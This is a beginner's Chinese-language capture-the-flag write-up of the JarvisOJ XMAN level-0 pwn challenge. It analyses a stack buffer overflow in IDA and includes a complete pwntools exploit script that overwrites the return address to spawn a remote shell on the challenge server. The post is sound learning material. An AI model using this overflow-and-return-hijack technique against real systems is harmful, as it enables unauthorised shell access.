美文网首页
JarvisOj XMAN level-0

JarvisOj XMAN level-0

作者: chenmuxin | 来源:发表于2018-12-05 12:25 被阅读0次

>纯新手向,第一次做pwn的题,感觉非常难以下手,有很多的新知识,在接触的过程中一点点的去学习。学习《汇编语言》(王爽)的写法,只写当初在做这道题的时候用到的函数语法

思路WP

  • 该题是栈溢出的错误,首先使用ida打开在jarvisoj下载的文件,首先会注意到有main函数,因为有c语言基础,所以先从main()函数开始,注意到main函数调用了vulner_function函数,关注该函数,发现该函数新建了一个字符串。
main.png
vulner.png
  • 通过打开stack of vulner_function可以发现长度为(+0x8-(-0x80)),一共为0x88大小(通过buf的首地址到返回地址r)。


    buff.png
buff-r.png
  • 然后,该数组在read中用到,read的参数为:


    read.png
  • 可以看见传入一个int类型,一个首地址 数组地址还有一个长度大小为nbyte的值,由此可知是要将一个最大长度为nbyte的数据传入buf,但此时buf只有0x88,但由vulner_function函数可知该程序将一个0x200ull的值传入buf,因此栈溢出。

  • 同时程序中有callsystem,并且已经有了“/bin/sh”,由此我们只需要将栈填满并且将vulner_function的返回地址覆盖为调用callsteam的地址,即可拿到shell,得到flag。


    callsystem.png

代码

# -*- coding:utf-8 -*-
from pwn import *
sh = remote("pwn2.jarvisoj.com",9881) # 与服务器交互
# 填充
junk = ‘a‘*0x80
# 淹没bp
fakebp = ‘a‘*8
syscall = 0x0000000000400596
payload = junk + fakebp + p64(syscall) # p64()对整数进行打包
sh.send(payload)
sh.interactive() # 直接反弹shell进行交互

解释

remote():主要用作远程和服务器交互,返回一个类似连接对象
send():发送数据,通过连接对象调用
interactive():反弹shell,达到交互的作用
p64():数字转为字符串,在这里的作用即为将得到的地址转换为字符串
payload通常用做关键的信息或者数据

结果

level0.png

相关文章

  • JarvisOj XMAN level-0

    >纯新手向,第一次做pwn的题,感觉非常难以下手,有很多的新知识,在接触的过程中一点点的去学习。学习《汇编语言》(...

  • JarvisOj [XMAN]level-2

    思路WP 提示:网上有不少当作32位写的WP,都出现了问题,无法成功cat flag,只有运用ROP的才能成功。 ...

  • JarvisOj [XMAN]level-1

    思路WP 同样的使用ida打开,由main函数开始,调用了vulner_function,也同样建立了buf字符串...

  • vcs 加密

    +protect +Xman

  • jarvisoj fm

    流程套路还是固定的,file看一下是32位的文件checksec看一下开了什么保护,好像没什么奇怪的东西运行一下看...

  • [JarvisOj]Web

    LOCALHOST 题目入口:http://web.jarvisoj.com:32774/ X-Forwarded...

  • [JarvisOj]Basic

    手贱 某天A君的网站被日,管理员密码被改,死活登不上,去数据库一看,啥,这密码md5不是和原来一样吗?为啥登不上咧...

  • jarvisOJ wp

    [xman] level0 file : 64位 程序 静态链接加载函数 checksec : NX 开启(堆栈不...

  • 51端口访问

    题目链接:http://web.jarvisoj.com:32770/ Please use port 51 to...

  • WEB-inject #desc #`#sql注入

    flag{luckyGame~} 描述 题目入口:http://web.jarvisoj.com:32794/。H...

网友评论

      本文标题:JarvisOj XMAN level-0

      本文链接:https://www.haomeiwen.com/subject/pvrlxqtx.html